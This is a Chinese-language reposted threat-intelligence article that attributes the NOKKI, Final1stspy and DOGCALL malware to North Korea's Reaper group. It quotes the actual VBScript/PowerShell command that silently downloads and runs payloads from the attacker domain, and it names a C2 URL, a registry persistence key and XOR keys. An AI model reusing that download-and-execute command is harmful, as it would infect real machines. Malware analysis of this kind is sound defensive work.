最新发现 NOKKI恶意软件与朝鲜Reaper组织有关

admin 2023-11-25 00:42:44 4HOU_新闻 来源:ZONE.CI 全球网 0 阅读模式

最近,unit 42研究人员发现了NOKKI恶意软件家族,主要攻击目标是说俄语和柬埔寨语的地区。经过分析发现该恶意软件攻击活动与Reaper组织有关。

其他安全公司的分析结果显示Reaper组织与朝鲜有关,主要攻击朝鲜关注的国家和组织,包括韩国的军事和国防工业、与朝鲜有生意往来的中东企业等。该组织的常用手法包括使用定制的恶意软件家族——DOGCALL。DOGCALL是一款远程访问木马(RAT),使用第三方主机服务来上传数据和接受命令。

本文主要分析NOKKI恶意软件与DOGCALL恶意软件家族的关系,以及与应用DOGCALL的恶意软件家族的相关信息,研究人员根据恶意软件中的pdb字符串将其名命名为Final1stspy。

恶意宏

在分析NOKKI恶意软件时,unit 42研究人员发现从2018年7月开始的一系列攻击活动都使用了word文档中的恶意宏。这些宏本质上并不复杂,而且只尝试执行:

·下载和运行可执行恶意软件payload;

·下载和打开word诱饵文档。

为了避免被检测到,恶意宏使用了简单的字符串混淆技术——base64编码。不同的是,恶意软件首先将base64编码的文本变成十六进制,然后再将十六进制转换为文本字符串。

图片.png

图1 下载和执行远程payload的恶意宏文件

图片.png

图2 应用反混淆方法的恶意宏文件

通过搜索传播NOKKI样本的反混淆技术,研究人员发现另一个文件。该文件有以下特征:

图片.png

基于原始文件名,可用推测该恶意软件样本的攻击目标是对2018年俄罗斯事世界杯感兴趣的人。从下图可用看出,样本之间的反混淆方法和作者的注释都是相同的 :

图片.png

图3 NOKKI dropper与World Cup predictions dropper的相似处

虽然反混淆方法是相同的,但宏文件的真实共那个有所不同。NOKKI dropper样本会下载payload和诱饵文件,而World Cup predictions恶意软件样本会下载和执行一个封装再HTML中的远程VB脚本文件,并把文本加入到原始word文档之后来引诱受害者。

诱饵文件含有来自英国ESPN网站文章的公开内容:

图片.png

World Cup predictions.doc文件的执行链完成后,受害者机器上会执行一个DOGCALL恶意软件样本。

恶意软件使用的评论诱饵和payload正说明了DOGCALL属于Reaper,隶属朝鲜的威胁单元。

恶意软件执行 

World Cup predictions.doc运行后,会继续从下面的链接下载VBScript文件:

http://kmbr1.nitesbr1[.]org/UserFiles/File/image/home.html

VBScript文件使用的反混淆方法与前面描述的完全相同。当第二阶段VBScript文件执行时,会将数据1111:rom*E8FEF0CDF6C1EBBA90794B2B写入%APPDATA%\Microsoft\mib.dat。该文件之后会被Final1stspy恶意软件家族使用。

该文件写入后,会执行下面的命令:

objShell.Run "cmd.exe /k powershell.exe" & " " & "-windowstyle" & " " & "hidden" & " " & "-ExecutionPolicy Bypass" & " " & "$h='%APPDATA%/Microsoft/Windows/msvcrt32.dll'" & ";" & "$f='%APPDATA%/Microsoft/ieConv.exe'" & ";" & "$x='" & "http://" & "kmbr1.nitesbr1.org" & "/UserFiles/File/image/images/happy.jpg" & "';" & "$t='" & "http://" & "kmbr1.nitesbr1[.]org" & "/UserFiles/File/image/images/wwwtest.jpg" & "';" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($t,$f)" & ";" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($x,$h)" & ";" & "Start-Process $f" & ";" & "Stop-Process" & " " & "-processname" & " " & "cmd", 0

代码执行后会下载两个文件:http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/happy.jpg和http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/wwwtest.jpg,并保存在 %APPDATA%/Microsoft/Windows/msvcrt32.dll和%APPDATA%/Microsoft/ieConv.exe。最后,VBScript文件会在新进程中执行之前下载的ieConv.exe文件。

这两个文件是之前未报告的dropper恶意软件家族Final1stspy的实例。

Final1stspy

Final1stspy恶意软件家族可用分为可执行文件和DLL。这些文件有下面的特征:

 图片.png

图片.png

所有样本都是几周内编译的。另外,用来传播恶意软件的原始word文档的最后修改时间就是DLL编译前几天。

可执行文件和DLL都用了特定的路径来混淆重要的字符串。下面的python代码是用来解码字符串的:

import base64
 
data = "[Obfuscated String]"
dataDecoded = b64decode(data)
outVar = ""
for char in dataDecoded:
outVar += chr(((ord(char) + 122) ^ 0x19) & 0xff)
print(outVar)

Final1stspy恶意软件开始时会寻找是否存在下面的文件:

·%APPDATA%\Microsoft\Windows\msvcrt64.dll

如果文件存在,恶意软件会加载DLL并尝试调用main_func函数。

如果文件不存在,恶意软件会寻找下面的文件:

·%APPDATA%\Microsoft\Windows\msvcrt32.dll

如果文件存在,恶意软件会0x50对文件进行XOR解密,并写入前面提到的msvcrt64.dll路径,并加载main_func函数。

DLL使用的字符串混淆方法与可执行文件中的相同。首先会收集基本的系统信息,必能通过设置指向%APPDATA%/Microsoft/ieConv.exe的注册表来确保驻留:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rundll32

Final1stspy恶意软件家族会继续对之前的mib.dat文件进行阅读和语法分析。分析的数据会被用于之后的HTTP GET请求,表示Index、 Account、Group变量。

 图片.png

Final1stspy可用读取%APPDATA%/Microsoft/olevnc.ini文件,该文件中有许多变量,包括用户代理、URL、端口、内部计数器。如果文件不存在,恶意软件会用硬编码的用户代理和URL。特定的样本会与http://kmbr1.nitesbr1[.]org/UserFiles/File/image/index.php进行通信,使用的用户代理为Host Process Update。

恶意软件会继续向该URL发送HTTP GET请求,示例如下:

图片.png

图4  Final1stspy恶意软件产生的HTTP请求

请求中有下面的GET参数:

图片.png

恶意软件期望接收到的是一个payload,并用XOR key 0x49进行解密。Payload会在受害者机器上加载。解密后,会出现下面的payload:

图片.png

通过编译的时间戳可用看出,该文件与Final1stspy可执行文件的编译时间非常接近。该payload已经被识别是属于DOGCALL恶意软件家族,可以在受害者设备上执行下面的动作:

·截屏

·记录键盘输入

·获取麦克风数据

·收集受害者信息

·收集感兴趣的文件

·下载和执行其他payload

恶意软件会与作为C2的第三方主机服务进行通信,包括:

·Dropbox

·pCloud

·Yandex      Cloud

·Box

结论

研究人员分析恶意软件NOKKI和恶意软件KONNI存在代码重叠,进一步分析发现NOKKI恶意软件与朝鲜的Reaper组织有关。之间的关系有很多好玩的地方,比如朝鲜相关的诱饵信息和DOGCALL恶意软件payload。研究人员在分析过程中还发现一款之前没有报告过的恶意软件——Final1stspy。

- 4HOU.COM
weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论:0   参与:  0